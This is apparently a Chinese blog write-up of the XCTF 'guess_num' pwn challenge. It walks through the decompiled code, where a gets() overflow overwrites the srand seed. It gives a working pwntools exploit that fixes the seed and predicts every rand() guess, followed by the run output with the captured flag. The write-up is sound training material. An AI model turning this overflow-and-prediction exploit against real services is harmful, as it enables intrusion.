

攻防世界guess_num

原创

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guess_num

难度系数: ★★ 2.0

题目来源: 暂无

题目描述: 菜鸡在玩一个猜数字的游戏, 但他无论如何都银不了, 你能帮助他么
<https://blog.csdn.net/zyh18851473527>

首先下载附件 checksec 一下再放入IDA中

```
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

```
*( _QWORD *)seed = sub_BB0();
puts("-----");
puts("Welcome to a guess number game!");
puts("-----");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets(&v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
    v6 = rand() % 6 + 1;
    printf("-----Turn:%d-----\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("-----");
    if ( v4 != v6 )
    {
        puts("GG!");
        exit(1);
    }
}
```

```

    puts("Success!");
}
sub_C3E();
return 0LL;

```

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点击进

入sub_C3E函数，发现条件成立即可找到flag

```

__int64 sub_C3E()
{
    printf("You are a prophet!\nHere is your flag!");
    system("cat flag");
    return 0LL;
}

```

接着进入v7

```

-000000000000000030 var_30 db ?
-00000000000000002F db ? ; undefined
-00000000000000002E db ? ; undefined
-00000000000000002D | db ? ; undefined
-00000000000000002C db ? ; undefined
-00000000000000002B db ? ; undefined
-00000000000000002A db ? ; undefined
-000000000000000029 db ? ; undefined
-000000000000000028 db ? ; undefined
-000000000000000027 db ? ; undefined
-000000000000000026 db ? ; undefined
-000000000000000025 db ? ; undefined
-000000000000000024 db ? ; undefined
-000000000000000023 db ? ; undefined
-000000000000000022 db ? ; undefined
-000000000000000021 db ? ; undefined
-000000000000000020 db ? ; undefined
-00000000000000001F db ? ; undefined
-00000000000000001E db ? ; undefined
-00000000000000001D db ? ; undefined
-00000000000000001C db ? ; undefined
-00000000000000001B db ? ; undefined
-00000000000000001A db ? ; undefined
-000000000000000019 db ? ; undefined
-000000000000000018 db ? ; undefined
-000000000000000017 db ? ; undefined
-000000000000000016 db ? ; undefined
-000000000000000015 db ? ; undefined
-000000000000000014 db ? ; undefined
-000000000000000013 db ? ; undefined
-000000000000000012 db ? ; undefined
-000000000000000011 db ? ; undefined
-000000000000000010 seed dd 2 dup(?)
-000000000000000008 var_8 dq ?

```

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发现var_30在栈中占0x20，可以覆盖到

seed

... ..

即利用v7覆盖seed[0],使seed[0]已知,然后循环,就拿到flag了

```
from pwn import*
from ctypes import*
p = remote("111.198.29.45",34097)
elf = ELF('7')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
payload = 'A'*0x20+p64(1)
p.recvuntil('name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
    num = str(libc.rand()%6+1)
    p.recvuntil('number:')
    p.sendline(num)
p.interactive()
```

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```
root@kali:~/桌面/xctf/pwn# python 7.py
[*] Opening connection to 111.198.29.45 on port 34097: Done
[*] '/home/ls/\xe6\xa1\x8c\xe9\x9d\xa2/xctf/pwn/7'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
-----
Success!
you are a prophet!
Here is your flag!cyberpeace{e678198b96b406a798805124389bc0d3}
```

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